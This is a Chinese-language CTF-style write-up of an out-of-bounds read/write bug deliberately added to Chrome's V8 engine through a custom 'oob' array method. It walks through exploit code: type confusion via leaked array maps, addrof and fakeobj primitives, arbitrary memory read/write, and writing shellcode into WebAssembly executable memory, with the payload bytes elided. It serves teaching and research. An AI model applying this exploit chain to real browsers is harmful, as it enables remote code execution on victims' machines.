Chrome v8 exploit - OOB
字数 977 2025-08-05 08:19:19

Chrome V8 越界读写漏洞分析与利用

漏洞概述

本文分析的是一个Chrome V8引擎中的越界读写漏洞,该漏洞源于V8对数组边界检查不严格,允许通过特殊构造的数组操作越界访问内存。漏洞利用涉及类型混淆、地址泄漏、任意内存读写以及最终通过WebAssembly实现代码执行。

漏洞分析

补丁对比

漏洞源于对V8源码的修改,主要添加了一个名为oob的数组方法:

diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
     Builtins::kArrayPrototypeCopyWithin, 2, false);
   SimpleInstallFunction(isolate_, proto, "fill",
                         Builtins::kArrayPrototypeFill, 1, false);
+  SimpleInstallFunction(isolate_, proto, "oob",
+                       Builtins::kArrayOob,2,false);
   SimpleInstallFunction(isolate_, proto, "find",

新增的oob方法实现:

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
   return *final_length;
 namespace

+BUILTIN(ArrayOob){
+  uint32_t len = args.length();
+  if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+  Handle<JSReceiver> receiver;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+      isolate, receiver, Object::ToObject(isolate, args.receiver()));
+  Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+  FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+  uint32_t length = static_cast<uint32_t>(array->length()->Number());
+  if(len == 1){
+    //read
+    return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+  }else{
+    //write
+    Handle<Object> value;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+        isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+    elements.set(length,value->Number());
+    return ReadOnlyRoots(isolate).undefined_value();
+  }
+}

漏洞行为

oob方法提供了两种操作模式:

  1. a.oob() - 越界读取数组长度处的值
  2. a.oob(1) - 将值1写入数组长度处的位置

由于直接使用了数组长度作为索引而没有进行边界检查,这导致了越界读写漏洞。

漏洞利用

基本原语构建

首先建立浮点数和整数之间的转换函数:

var buff_area = new ArrayBuffer(0x10);
var fl = new Float64Array(buff_area);
var ui = new BigUint64Array(buff_area);

function ftoi(floo) {
    fl[0] = floo;
    return ui[0];
}

function itof(intt) {
    ui[0] = intt;
    return fl[0];
}

function tos(data) {
    return "0x"+data.toString(16);
}

内存布局分析

创建不同类型的数组观察内存布局:

var a = [1.1, 2.2, 3.3, 4.4];

通过调试器查看内存布局,可以发现:

  1. JSArray结构包含指向FixedArray的指针
  2. FixedArray存储实际的数组元素
  3. 浮点数组和对象数组的内存布局相邻

类型混淆利用

通过泄漏不同类型数组的map值,实现类型混淆:

var obj = {"A":0x100};
var obj_all = [obj];
var array_all = [1.1, 2, 3];

// 泄漏对象数组和浮点数组的map
var obj_map = obj_all.oob(); // obj_JSArray_map
var float_array_map = array_all.oob(); // float_JSArray_map

构建泄漏和伪造对象的函数:

function leak_obj(obj_in) {
    // 泄漏对象地址
    obj_all[0] = obj_in;
    obj_all.oob(float_array_map);
    let leak_obj_addr = obj_all[0];
    obj_all.oob(obj_map);
    return ftoi(leak_obj_addr);
}

function fake_obj(obj_in) {
    // 构造地址对象
    array_all[0] = itof(obj_in);
    array_all.oob(obj_map);
    let fake_obj_addr = array_all[0];
    array_all.oob(float_array_map);
    return fake_obj_addr;
}

任意读写原语构建

通过构造特殊的数组对象实现任意读写:

var tt = [float_array_map, 1.1, 1, 0xfffffff];

function write_all(read_addr, read_data) {
    let test_read = fake_obj(leak_obj(tt)-0x20n);
    tt[2] = itof(read_addr-0x10n);
    test_read[0] = itof(read_data);
}

function read_all(write_addr) {
    let test_write = fake_obj(leak_obj(tt)-0x20n);
    tt[2] = itof(write_addr-0x10n);
    return ftoi(test_write[0]);
}

更稳定的任意写方法

使用ArrayBuffer的backing_store实现更稳定的任意写:

function write_dataview(fake_addr, fake_data) {
    let buff_new = new ArrayBuffer(0x30);
    let dataview = new DataView(buff_new);
    let leak_buff = leak_obj(buff_new);
    let fake_write = leak_buff+0x20n;
    write_all(fake_write, fake_addr);
    dataview.setBigUint64(0, fake_data, true);
}

WebAssembly利用

通过WebAssembly实现代码执行:

  1. 生成简单的WebAssembly模块
  2. 泄漏其可执行内存区域地址
  3. 向该区域写入shellcode
var wasmCode = new Uint8Array([...]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;

// 泄漏wasm实例的可执行内存地址
var leak_f = leak_obj(f);
var data1 = read_all(leak_f+0x18n);
var data2 = read_all(data1+0x8n);
var data3 = read_all(data2+0x10n);
var data4 = read_all(data3+0x88n);

// 写入shellcode
let buff_new = new ArrayBuffer(0x100);
let dataview = new DataView(buff_new);
let leak_buff = leak_obj(buff_new);
let fake_write = leak_buff+0x20n;
write_all(fake_write, data4);

var shellcode = [...];
for(var i=0; i<shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
}

f(); // 执行shellcode

完整利用流程

  1. 建立基本类型转换函数
  2. 创建对象数组和浮点数组
  3. 泄漏两种数组的map值
  4. 构建泄漏和伪造对象的函数
  5. 构造任意读写原语
  6. 使用更稳定的ArrayBuffer方法实现任意写
  7. 准备WebAssembly模块
  8. 泄漏wasm可执行内存地址
  9. 向该地址写入shellcode
  10. 触发执行

防御措施

  1. 严格的数组边界检查
  2. 类型系统强化,防止类型混淆
  3. 内存区域隔离,如WASM内存与常规内存分离
  4. 控制对内部对象的访问权限

总结

该漏洞利用展示了现代JavaScript引擎中类型系统和内存管理的复杂性。通过精心构造的类型混淆和内存操作,攻击者可以实现从简单的越界读写到完整的远程代码执行。理解这些技术有助于开发更安全的JavaScript引擎和编写更安全的代码。

Chrome V8 越界读写漏洞分析与利用 漏洞概述 本文分析的是一个Chrome V8引擎中的越界读写漏洞,该漏洞源于V8对数组边界检查不严格,允许通过特殊构造的数组操作越界访问内存。漏洞利用涉及类型混淆、地址泄漏、任意内存读写以及最终通过WebAssembly实现代码执行。 漏洞分析 补丁对比 漏洞源于对V8源码的修改,主要添加了一个名为 oob 的数组方法: 新增的 oob 方法实现: 漏洞行为 oob 方法提供了两种操作模式: a.oob() - 越界读取数组长度处的值 a.oob(1) - 将值1写入数组长度处的位置 由于直接使用了数组长度作为索引而没有进行边界检查,这导致了越界读写漏洞。 漏洞利用 基本原语构建 首先建立浮点数和整数之间的转换函数: 内存布局分析 创建不同类型的数组观察内存布局: 通过调试器查看内存布局,可以发现: JSArray 结构包含指向 FixedArray 的指针 FixedArray 存储实际的数组元素 浮点数组和对象数组的内存布局相邻 类型混淆利用 通过泄漏不同类型数组的map值,实现类型混淆: 构建泄漏和伪造对象的函数: 任意读写原语构建 通过构造特殊的数组对象实现任意读写: 更稳定的任意写方法 使用ArrayBuffer的backing_ store实现更稳定的任意写: WebAssembly利用 通过WebAssembly实现代码执行: 生成简单的WebAssembly模块 泄漏其可执行内存区域地址 向该区域写入shellcode 完整利用流程 建立基本类型转换函数 创建对象数组和浮点数组 泄漏两种数组的map值 构建泄漏和伪造对象的函数 构造任意读写原语 使用更稳定的ArrayBuffer方法实现任意写 准备WebAssembly模块 泄漏wasm可执行内存地址 向该地址写入shellcode 触发执行 防御措施 严格的数组边界检查 类型系统强化,防止类型混淆 内存区域隔离,如WASM内存与常规内存分离 控制对内部对象的访问权限 总结 该漏洞利用展示了现代JavaScript引擎中类型系统和内存管理的复杂性。通过精心构造的类型混淆和内存操作,攻击者可以实现从简单的越界读写到完整的远程代码执行。理解这些技术有助于开发更安全的JavaScript引擎和编写更安全的代码。